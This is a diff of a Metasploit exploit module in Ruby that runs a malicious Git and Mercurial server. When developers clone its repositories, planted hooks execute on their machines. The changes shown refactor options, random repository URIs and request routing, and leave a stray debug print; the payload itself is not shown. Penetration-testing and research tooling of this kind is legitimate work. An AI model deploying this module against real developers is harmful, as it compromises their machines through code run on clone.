@@ -83,14 +83,16 @@ def initialize(info = {})
83
83
84
84
register_options (
85
85
[
86
- OptString . new ( 'GIT_URI ' , [ false , 'The URI to use as the malicious Git instance (empty to disable) ' , '/git' ] ) ,
87
- OptString . new ( 'MERCURIAL_URI ' , [ false , 'The URI to use as the malicious Mercurial instance (empty to disable) ' , '' ] ) ,
88
- OptString . new ( 'URIPATH' , [ true , 'The URI to display the malicious repositories in' , '/' ] )
86
+ OptBool . new ( 'GIT ' , [ true , 'Exploit Git clients ' , true ] ) ,
87
+ OptBool . new ( 'MERCURIAL ' , [ true , 'Exploit Mercurial clients ' , false ] ) ,
88
+ # OptString.new('URIPATH', [true, 'The URI to display the malicious repositories in', '/'])
89
89
]
90
90
)
91
91
92
92
register_advanced_options (
93
93
[
94
+ OptString . new ( 'GIT_URI' , [ false , 'The URI to use as the malicious Git instance (empty for random)' , '' ] ) ,
95
+ OptString . new ( 'MERCURIAL_URI' , [ false , 'The URI to use as the malicious Mercurial instance (empty for random)' , '' ] ) ,
94
96
OptString . new ( 'GIT_HOOK' , [ false , 'The Git hook to use for exploitation' , 'post-checkout' ] ) ,
95
97
OptString . new ( 'MERCURIAL_HOOK' , [ false , 'The Mercurial hook to use for exploitation' , 'update' ] )
96
98
]
@@ -102,18 +104,21 @@ def setup
102
104
git : { files : { } , trigger : nil } ,
103
105
mercurial : { files : { } , trigger : nil }
104
106
}
105
- if git_uri . blank? && mercurial_uri . blank?
106
- fail_with ( Exploit ::Failure ::BadConfig , 'Must specify at least one non-blank GIT_URI or MERCURIAL_URI' )
107
+
108
+ unless datastore [ 'GIT' ] || datastore [ 'MERCURIAL' ]
109
+ fail_with ( Exploit ::Failure ::BadConfig , 'Must specify at least one GIT and/or MERCURIAL' )
107
110
end
108
- setup_git unless git_uri . blank?
109
- setup_mercurial unless mercurial_uri . blank?
111
+ setup_git
112
+ setup_mercurial
110
113
111
114
super
112
115
end
113
116
114
117
def setup_git
118
+ return unless datastore [ 'GIT' ]
115
119
# URI must start with a /
116
- unless git_uri =~ /^\/ /
120
+ puts "FOOO #{ git_uri } "
121
+ unless git_uri && git_uri =~ /^\/ /
117
122
fail_with ( Exploit ::Failure ::BadConfig , 'GIT_URI must start with a /' )
118
123
end
119
124
# sanity check the malicious hook:
@@ -194,8 +199,9 @@ def setup_git
194
199
end
195
200
196
201
def setup_mercurial
202
+ return unless datastore [ 'MERCURIAL' ]
197
203
# URI must start with a /
198
- unless mercurial_uri =~ /^\/ /
204
+ unless mercurial_uri && mercurial_uri =~ /^\/ /
199
205
fail_with ( Exploit ::Failure ::BadConfig , 'MERCURIAL_URI must start with a /' )
200
206
end
201
207
# sanity check the malicious hook
@@ -232,18 +238,18 @@ def exploit
232
238
233
239
def primer
234
240
# add the git and mercurial URIs as necessary
235
- hardcoded_uripath ( git_uri ) unless git_uri . blank?
236
- hardcoded_uripath ( mercurial_uri ) unless mercurial_uri . blank?
241
+ hardcoded_uripath ( git_uri ) if datastore [ 'GIT' ]
242
+ hardcoded_uripath ( mercurial_uri ) if datastore [ 'MERCURIAL' ]
237
243
end
238
244
239
245
def on_request_uri ( cli , req )
240
246
# if the URI is one of our repositories and the user-agent is that of git/mercurial
241
247
# send back the appropriate data, otherwise just show the HTML version
242
248
if ( user_agent = req . headers [ 'User-Agent' ] )
243
- if user_agent =~ /^git\/ / && req . uri . start_with? ( git_uri ) && ! git_uri . blank?
249
+ if datastore [ 'GIT' ] && user_agent =~ /^git\/ / && req . uri . start_with? ( git_uri )
244
250
do_git ( cli , req )
245
251
return
246
- elsif user_agent =~ /^mercurial\/ / && req . uri . start_with? ( mercurial_uri ) && ! mercurial_uri . blank?
252
+ elsif datastore [ 'MERCURIAL' ] && user_agent =~ /^mercurial\/ / && req . uri . start_with? ( mercurial_uri )
247
253
do_mercurial ( cli , req )
248
254
return
249
255
end
@@ -282,18 +288,18 @@ def do_html(cli, _req)
282
288
< ul >
283
289
HTML
284
290
285
- if git_uri . blank?
286
- resp . body << "<li><a>Git</a> (currently offline)</li>"
287
- else
291
+ if datastore [ 'GIT' ]
288
292
this_git_uri = URI . parse ( get_uri ) . merge ( git_uri )
289
293
resp . body << "<li><a href=#{ git_uri } >Git</a> (clone with `git clone #{ this_git_uri } `)</li>"
294
+ else
295
+ resp . body << "<li><a>Git</a> (currently offline)</li>"
290
296
end
291
297
292
- if mercurial_uri . blank?
293
- resp . body << "<li><a>Mercurial</a> (currently offline)</li>"
294
- else
298
+ if datastore [ 'MERCURIAL' ]
295
299
this_mercurial_uri = URI . parse ( get_uri ) . merge ( mercurial_uri )
296
300
resp . body << "<li><a href=#{ mercurial_uri } >Mercurial</a> (clone with `hg clone #{ this_mercurial_uri } `)</li>"
301
+ else
302
+ resp . body << "<li><a>Mercurial</a> (currently offline)</li>"
297
303
end
298
304
resp . body << <<HTML
299
305
</ ul>
@@ -327,11 +333,23 @@ def do_mercurial(cli, req)
327
333
end
328
334
end
329
335
336
+ # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
330
337
def git_uri
331
- datastore [ 'GIT_URI' ]
338
+ return @git_uri if @git_uri
339
+ if datastore [ 'GIT_URI' ] . blank?
340
+ @git_uri = '/' + Rex ::Text . rand_text_alpha ( rand ( 10 ) + 2 ) . downcase + '.git'
341
+ else
342
+ @git_uri = datastore [ 'GIT_URI' ]
343
+ end
332
344
end
333
345
346
+ # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
334
347
def mercurial_uri
335
- datastore [ 'MERCURIAL_URI' ]
348
+ return @mercurial_uri if @mercurial_uri
349
+ if datastore [ 'MERCURIAL_URI' ] . blank?
350
+ @mercurial_uri = '/' + Rex ::Text . rand_text_alpha ( rand ( 10 ) + 6 ) . downcase
351
+ else
352
+ @mercurial_uri = datastore [ 'MERCURIAL_URI' ]
353
+ end
336
354
end
337
355
end
0 commit comments